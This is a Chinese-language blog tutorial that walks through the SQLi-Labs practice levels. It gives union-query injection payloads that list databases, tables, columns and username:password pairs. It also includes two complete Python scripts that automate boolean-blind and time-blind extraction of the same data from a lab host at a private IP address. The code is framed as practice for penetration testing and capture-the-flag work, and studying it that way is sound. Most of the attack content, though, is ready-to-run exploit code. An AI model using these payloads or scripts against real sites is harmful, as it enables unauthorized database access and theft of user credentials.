发布时间:2026/7/23 4:26:23
SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9) 前言SQL 注入SQL Injection是 Web 安全领域中最经典、危害最大的漏洞之一。它产生的原因简单却致命开发者将用户输入的数据直接拼接到 SQL 语句中导致攻击者能够篡改原始 SQL 逻辑从而越权操作数据库。尽管各类开发框架已经提供了参数化查询等防护手段但在实际渗透测试和 CTF 竞赛中SQL 注入依然频繁出现是每一位安全从业者必须扎实掌握的基本功。是一套专门用于练习 SQL 注入的靶场环境它通过精心设计的关卡循序渐进地展示了从最基础的联合查询注入到高级盲注的各种攻击技巧。本教程选择了最具代表性的六个关卡——Less-1、Less-2、Less-3、Less-4、Less-5 和 Less-9——带你从零开始逐步攻克 SQL 注入的核心技术。通过这六个关卡你将系统掌握以下四种重要的 SQL 注入手法关卡注入类型核心技术与回显方式Less-1字符型联合查询注入闭合单引号 →ORDER BY查列数 →UNION SELECT联合查询直接回显数据Less-2数字型联合查询注入无需闭合引号 → 与 Less-1 流程相同体会字符型与数字型的区别Less-3单引号括号闭合联合查询闭合)→ 掌握复杂字符串闭合时的构造技巧Less-4双引号括号闭合联合查询闭合)→ 进一步巩固对不同闭合方式的理解Less-5报错注入 / 布尔盲注页面无数据回显但显示数据库错误信息 → 利用extractvalue、updatexml报错函数带出数据或使用length()、ascii()、substr()进行布尔盲注逐位猜解Less-9时间盲注页面不论正确与否都返回相同界面 → 使用if(condition,sleep(5),1)构造延时通过响应时间长短判断 SQL 条件真假完成数据拖取mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。1.首先判断是否存在sql注入1.提示你输入数字值的ID作为参数我们输入?id12.通过数字值不同返回的内容也不同所以我们输入的内容是带入到数据库里面查询了。3.接下来我们判断sql语句是否是拼接且是字符型还是数字型。 编程4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显所以我们可以使用联合查询。联合查询原理简单说一下联合查询就是两个sql语句一起查询两张表具有相同的列数且字段名是一样的2 联合注入第一步首先知道表格有几列如果报错就是超过列数如果显示正常就是没有超出列数。第二步爆出显示位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。 数据管理第三步爆库。第四步 爆表information_schema.tables表示该 数据库下的tables表点表示下一级。where后面是条件group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。第五步爆字段名我们通过sql语句查询知道当前数据库有四个表根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。1-5关sql语句基本上差不多判断字段数order by ?id1 order by 3 -- // 正常 ?id1 order by 4 -- // 错误 → 字段数为 3 找显示位回显点 ?id-1 union select 1,2,3 -- 爆数据库名 ?id-1 union select 1,2,database() -- 爆表名 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- 爆列名以 users 表为例 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers -- 爆数据内容 ?id-1 union select 1,2,group_concat(username,0x3a,password) from users --第一关​​​​​​​第二关​​​​第三关​​​​第四关​​​​第五个​​​​import requests import urllib.parse # 目标 URL不含参数 url http://192.168.209.156/sqli/Less-5/ # 判断条件为真时页面会包含的关键字根据 Less-5 的回显调整 TRUE_KEYWORD You are in def check(condition: str) - bool: 执行一次布尔盲注返回 condition 是否为真。 condition 是一个 SQL 条件表达式例如 11 或 length((select database()))8 # 使用 # 作为注释符requests 会自动将其编码为 %23 payload f1 and {condition} # try: resp requests.get(url, params{id: payload}, timeout10) return TRUE_KEYWORD in resp.text except requests.RequestException: return False def get_length(query: str) - int: 二分法获取查询结果的字符串长度最大 100 low, high 0, 100 while low high: mid (low high 1) // 2 if check(flength({query}){mid}): low mid else: high mid - 1 return low def get_string(query: str, length: int) - str: 二分法获取查询结果的每一位字符 result for pos in range(1, length 1): low, high 32, 126 # 可打印 ASCII 范围 while low high: mid (low high 1) // 2 if check(fascii(substr({query},{pos},1)){mid}): low mid else: high mid - 1 result chr(low) print(f[] 第 {pos} 个字符: {chr(low)}) return result def blind_injection(query: str, description: str) - str: 完整的一次盲注过程获取长度 → 获取字符串 print(f[*] 正在获取 {description} ...) length get_length(query) print(f[] 长度: {length}) if length 0: return data get_string(query, length) print(f[] {description}: {data}\n) return data if __name__ __main__: # 1. 获取数据库名 db_name blind_injection((select database()), 数据库名) # 2. 获取所有表名 tables blind_injection( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 所有表名 ) # 3. 获取 users 表的列名假设表名为 users columns blind_injection( (select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), users 表的列名 ) # 4. 获取 users 表中的数据假设有 username 和 password 字段 data blind_injection( (select group_concat(username,:,password) from users), users 表内容 (username:password) ) print( 最终结果 ) print(f数据库名: {db_name}) print(f表名: {tables}) print(f列名: {columns}) print(f数据: {data})第九关​​代码脚本import requests import time # 目标 URLLess-9 BASE_URL http://192.168.209.156/sqli/Less-9/ # 时间盲注参数 SLEEP_TIME 3 # 减小 sleep 可以加快速度但不要太小 TIMEOUT SLEEP_TIME 5 THRESHOLD SLEEP_TIME * 0.5 # 判断为真的最低耗时秒 def test_check(): 先测试两个固定条件确认时间盲注环境是否正常 print([*] 正在测试时间盲注环境...) # 测试真条件 payload_true 1 and if(11,sleep({}),1)-- .format(SLEEP_TIME) t1 time.time() try: requests.get(BASE_URL, params{id: payload_true}, timeoutTIMEOUT) except: pass elapsed_true time.time() - t1 # 测试假条件 payload_false 1 and if(12,sleep({}),1)-- .format(SLEEP_TIME) t2 time.time() try: requests.get(BASE_URL, params{id: payload_false}, timeoutTIMEOUT) except: pass elapsed_false time.time() - t2 print(f 真条件耗时: {elapsed_true:.2f} 秒) print(f 假条件耗时: {elapsed_false:.2f} 秒) if elapsed_true THRESHOLD and elapsed_false THRESHOLD: print([] 环境正常开始时间盲注\n) return True else: print([-] 环境异常真/假条件没有明显的耗时差别) print( 可能是网络延迟太高、注释符不正确或 sleep 被过滤。) return False def check(condition: str) - bool: 执行一次时间盲注返回 condition 是否为真。 使用注释符 -- 两个破折号加空格 payload f1 and if({condition}, sleep({SLEEP_TIME}), 1)-- try: start time.time() requests.get(BASE_URL, params{id: payload}, timeoutTIMEOUT) elapsed time.time() - start return elapsed THRESHOLD except requests.exceptions.Timeout: return True # 超时说明 sleep 了条件为真 except requests.RequestException: return False def get_length(query: str) - int: 二分法获取查询结果字符串长度最大 100 low, high 0, 100 while low high: mid (low high 1) // 2 if check(flength({query}){mid}): low mid else: high mid - 1 return low def get_string(query: str, length: int) - str: 二分法获取查询结果每一位字符 result for pos in range(1, length 1): low, high 32, 126 while low high: mid (low high 1) // 2 if check(fascii(substr({query},{pos},1)){mid}): low mid else: high mid - 1 result chr(low) print(f [] 第 {pos}/{length} 字符: {chr(low)}) return result def time_blind_injection(query: str, description: str) - str: 完整时间盲注流程 print(f[*] 正在获取 {description} ...) length get_length(query) print(f [] 长度: {length}) if length 0: return data get_string(query, length) print(f [] {description}: {data}\n) return data if __name__ __main__: if not test_check(): exit(1) print( 时间盲注开始每次正确会 sleep {} 秒请耐心等待.format(SLEEP_TIME)) # 1. 数据库名 db_name time_blind_injection((select database()), 数据库名) # 2. 所有表名 tables time_blind_injection( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 所有表名 ) # 3. users 表的列名请根据实际表名修改 columns time_blind_injection( (select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), users 表的列名 ) # 4. users 表数据假设字段为 username 和 password data time_blind_injection( (select group_concat(username,:,password) from users), users 表内容 ) print(\n 最终结果 ) print(f数据库名: {db_name}) print(f表名: {tables}) print(f列名: {columns}) print(f数据: {data})

相关新闻

2026/7/23 4:26:23

多智能体协作框架CCB的设计与实战应用

1. 多智能体协作的价值与挑战在AI技术快速发展的今天,单一模型已经难以满足复杂任务的需求。就像一支足球队需要前锋、中场和后卫各司其职一样,不同AI模型也有各自的专长领域。Claude擅长逻辑推理和架构设计,Gemini拥有超长上下文记忆和创意能…

2026/7/23 4:26:23

k8s pod因节点临时存储(ephemeral-storage)不足而被驱逐

es master三节点中的一个节点提示容器状态未知describe发现events有如下提示,这个是Kubernetes Pod因节点临时存储(ephemeral-storage)不足而被驱逐(Evicted)的事件日志。 Events:Type Reason Age …

2026/7/23 6:11:31

深入解析C/C++中sscanf与sprintf:安全实践与现代替代方案

1. 项目概述:为什么我们需要重新审视 sscanf 和 sprintf?在C和C的世界里,字符串处理是每个开发者都绕不开的基础课题。从简单的日志格式化,到复杂的数据协议解析,字符串的构建与拆解无处不在。提到字符串处理&#xff…

2026/7/23 6:11:31

货代集体摆烂,大批卖家的货无路可走?

这年头,还有货代不敢收的货?消息一出,跨境圈一片哗然。这不是在搞抽象,原因在于一条新规落地,不少货被无情拦在美国门外。----------------------------------------------------------------------------------------…

2026/7/23 6:11:31

现代C++实现Bencode编解码器:从原理到.torrent解析实战

1. 项目概述:从Bencode到现代C的实用解码器如果你接触过BitTorrent相关的文件,比如.torrent文件,或者用过一些早期的P2P协议,那你大概率已经和Bencode打过交道了。它是一种简洁、高效的数据编码格式,专门为BitTorrent协…

2026/7/23 6:11:31

腾讯Marvis AI操作系统:架构解析与生产力革命

1. 腾讯Marvis深度测评:AI操作系统的革命性突破第一次在同事电脑上看到Marvis时,那个会主动整理会议纪要的悬浮窗让我愣住了——它不仅能自动识别屏幕内容,还在我说话间隙就生成了带时间轴的会议记录。这完全颠覆了我对操作系统的认知&#x…

2026/7/23 6:11:31

Linux 基础错误码(errno 1–34)技术参考

本文档说明 include/uapi/asm-generic/errno-base.h 中定义的 34 个基础错误码的用途、语义边界与常见使用场景。这些是所有架构共享的 POSIX 通用错误码,构成内核态与用户态之间最基础的错误契约。约定:内核函数通过返回 负值(如 return -EI…

2026/7/23 6:06:30

ShaderGraph立方体贴图采样节点:从原理到实战应用全解析

1. 项目概述:为什么我们需要采样立方体贴图节点?在ShaderGraph的世界里,我们经常需要处理各种纹理来为模型增添细节。对于平面纹理,我们使用Sample Texture 2D节点,这很直观。但当你需要模拟一个无限延伸的环境&#x…

2026/7/22 9:29:13

Unity与Python本地通信:基于Flask的跨语言数据交换实战

1. 项目概述:为什么我们需要一个本地通信服务器?在游戏开发、数字孪生、仿真训练等众多领域,Unity作为强大的实时3D内容创作平台,其核心逻辑通常由C#驱动。然而,当我们需要进行复杂的数据分析、机器学习推理、科学计算…

2026/7/23 0:01:10

Chitchatter完整指南:免费开源的终极点对点安全聊天工具

Chitchatter完整指南:免费开源的终极点对点安全聊天工具 【免费下载链接】chitchatter Secure peer-to-peer chat that is serverless, decentralized, and ephemeral 项目地址: https://gitcode.com/gh_mirrors/ch/chitchatter Chitchatter是一款革命性的安…

2026/7/22 21:00:12

3个高效策略:快速掌握Axure中文界面配置

3个高效策略:快速掌握Axure中文界面配置 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包。支持 Axure 11、10、9。不定期更新。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn 还在为Axure RP的英文界面感…